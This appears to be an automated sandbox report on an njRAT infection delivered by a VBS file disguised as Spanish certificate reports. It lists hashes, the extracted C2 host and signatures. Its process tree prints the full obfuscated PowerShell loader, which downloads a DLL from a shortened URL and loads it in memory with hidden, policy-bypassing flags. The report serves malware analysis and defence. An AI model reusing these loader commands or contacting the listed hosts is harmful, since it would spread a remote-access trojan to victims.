Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/10/2022, 15:45

General

  • Target

    0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs

  • Size

    201KB

  • MD5

    d31abe34b0270957dea045661492c0e3

  • SHA1

    ff2d86a0282fcb7db59040e7ad0b77890bd719fb

  • SHA256

    041169b1bab3881a74211ccf368ab7e605a44257bc714fabae64b1c49878bd66

  • SHA512

    a93cf31ea7b162405b7c04c506b9944bdb6cf562fac0b22aa4e470bca499494bd09f6cd923a9111fb26de9df7dbae67468c20764a51f3ae28937478f33fdca5a

  • SSDEEP

    96:dyYRYFYDnYFLvTfJZf4UbbNhtF/Zldy2ILS8414NEWUvWZ1+AN1qHk:d9uaOAy/ATm45ZJ1qE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://tinyurl.com/2erph6cs

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

nyas22.duckdns.org:57831

Mutex

8521e1f80fc24

Attributes
  • reg_key

    8521e1f80fc24

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gA3ADgANQA0AGYAcgBnAGgAagBrAHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R7854frghjkyhtyf5667' ))"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4768
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:260

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          81d91bab2fdd72436e4852d94ea7650d

          SHA1

          5652b3c46a0cf75a03859c5707f36fb08f5c631a

          SHA256

          68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

          SHA512

          df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          50a8221b93fbd2628ac460dd408a9fc1

          SHA1

          7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

          SHA256

          46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

          SHA512

          27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

        • memory/260-144-0x0000000005500000-0x0000000005AA4000-memory.dmp

          Filesize

          5.6MB

        • memory/260-145-0x0000000005000000-0x0000000005092000-memory.dmp

          Filesize

          584KB

        • memory/260-137-0x0000000000400000-0x000000000040C000-memory.dmp

          Filesize

          48KB

        • memory/260-147-0x0000000005260000-0x00000000052C6000-memory.dmp

          Filesize

          408KB

        • memory/260-146-0x0000000004FE0000-0x0000000004FEA000-memory.dmp

          Filesize

          40KB

        • memory/260-143-0x0000000004E10000-0x0000000004EAC000-memory.dmp

          Filesize

          624KB

        • memory/4768-136-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

          Filesize

          10.8MB

        • memory/4768-139-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-133-0x0000017657B50000-0x0000017657B72000-memory.dmp

          Filesize

          136KB

        • memory/4860-142-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-135-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

          Filesize

          10.8MB